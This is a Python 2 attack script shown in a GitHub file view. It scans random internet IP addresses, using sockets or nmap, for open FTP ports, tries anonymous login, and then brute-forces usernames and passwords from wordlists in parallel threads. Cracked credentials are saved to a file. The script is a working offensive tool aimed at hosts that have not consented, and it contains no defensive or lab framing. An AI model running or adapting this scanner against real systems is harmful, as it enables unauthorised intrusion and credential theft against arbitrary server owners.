-
Notifications
You must be signed in to change notification settings - Fork 43
/
Copy pathftpbrute_random.py
155 lines (136 loc) · 3.99 KB
/
ftpbrute_random.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!usr/bin/python
#Uses nmap or socket to check if ftp is open on a random ip. If
#the server is found it will check for anonymous login and then
#continue to bruteforce. It also can save successful logins
#to an external file.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import threading, time, StringIO, commands, random, sys, ftplib, re, socket
from ftplib import FTP
def rand():
a = random.randrange(255) + 1
b = random.randrange(255) + 1
c = random.randrange(255) + 1
d = random.randrange(255) + 1
ip = "%d.%d.%d.%d" % (a,b,c,d)
return ip
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def nmapscan():
#Change this to your nmap preferences
nmap = "nmap -P0 -iR 1 -p 21 | grep open -B 3"
nmap = StringIO.StringIO(commands.getstatusoutput(nmap)[1]).readlines()
for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
return ipaddr
def servscan():
ipaddr = rand()
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ipaddr, 21))
s.close()
return ipaddr
except socket.error:
pass
def workhorse(ipaddr, user, word):
user = user.replace("\n","")
word = word.replace("\n","")
try:
print "-"*12
print "User:",user,"Password:",word
ftp = FTP(ipaddr)
ftp.login(user, word)
ftp.retrlines('LIST')
print "\t\n[!] Login successful:",user, word
if txt != None:
save_file.writelines(user+" : "+word+" @ "+ipaddr+":21\n")
ftp.quit()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "[-] An error occurred:", msg
pass
def brute(ipaddr):
print "-"*30
print "\n[+] Attempting BruteForce:",ipaddr,"\n"
try:
f = FTP(ipaddr)
print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
pass
try:
print "\n[+] Checking for anonymous login:",ipaddr,"\n"
ftp = FTP(ipaddr)
ftp.login()
ftp.retrlines('LIST')
print "\t\n[!] Anonymous login successful!!!\n"
if txt != None:
save_file.writelines("Anonymous:"+ipaddr+":21\n")
ftp.quit()
except (ftplib.all_errors):
print "[-] Anonymous login unsuccessful\n"
for user in users:
for word in words:
work = threading.Thread(target = workhorse, args=(ipaddr, user, word)).start()
time.sleep(1)
if len(sys.argv) not in [4,5,6,7]:
print "\nUsage: ./randftpbf.py <how many to scan> <userlist> <wordlist> <options>"
print "\t[option]"
print "\t -nmap/-n : Uses sockets instead of nmap to find open ports"
print "\t -save/-s <file> : Save Successful Logins"
print "\nExample: ./randftpbf.py 10000 users.txt words.txt -nmap -save hits.txt\n"
sys.exit(0)
try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)
try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for arg in sys.argv[1:]:
if arg.lower() == "-nmap" or arg.lower() == "-n":
nmap = 1
if arg.lower() == "-save" or arg.lower() == "-s":
txt = sys.argv[int(sys.argv[1:].index(arg))+2]
print "\n\t d3hydr8[at]gmail[dot]com RandomftpBF v1.1"
print "\t-----------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
try:
if txt:
save_file = open(txt, "a")
print "[+] Save File:",txt
except(NameError):
txt = None
print "[-] Saving Mode Off"
print "[+] Scan Started:",timer()
try:
if nmap == 1:
print "[+] Socket Scan Mode\n"
for x in xrange(int(sys.argv[1])):
print "[-]",x+1,"of",sys.argv[1]
#Change this limit for faster results.
time.sleep(3)
ipaddr = servscan()
if ipaddr != None:
brute(ipaddr)
print "\n[+] Scan Complete:",timer()
else:
print "\n[-] Error: Check your options\n"
sys.exit(1)
except(NameError):
print "[+] Nmap Mode\n"
for x in xrange(int(sys.argv[1])):
print "[-]",x+1,"of",sys.argv[1]
#Change this limit for faster results.
time.sleep(3)
ipaddr = nmapscan()
if ipaddr != None:
brute(ipaddr[0])
print "\n[+] Scan Complete:",timer()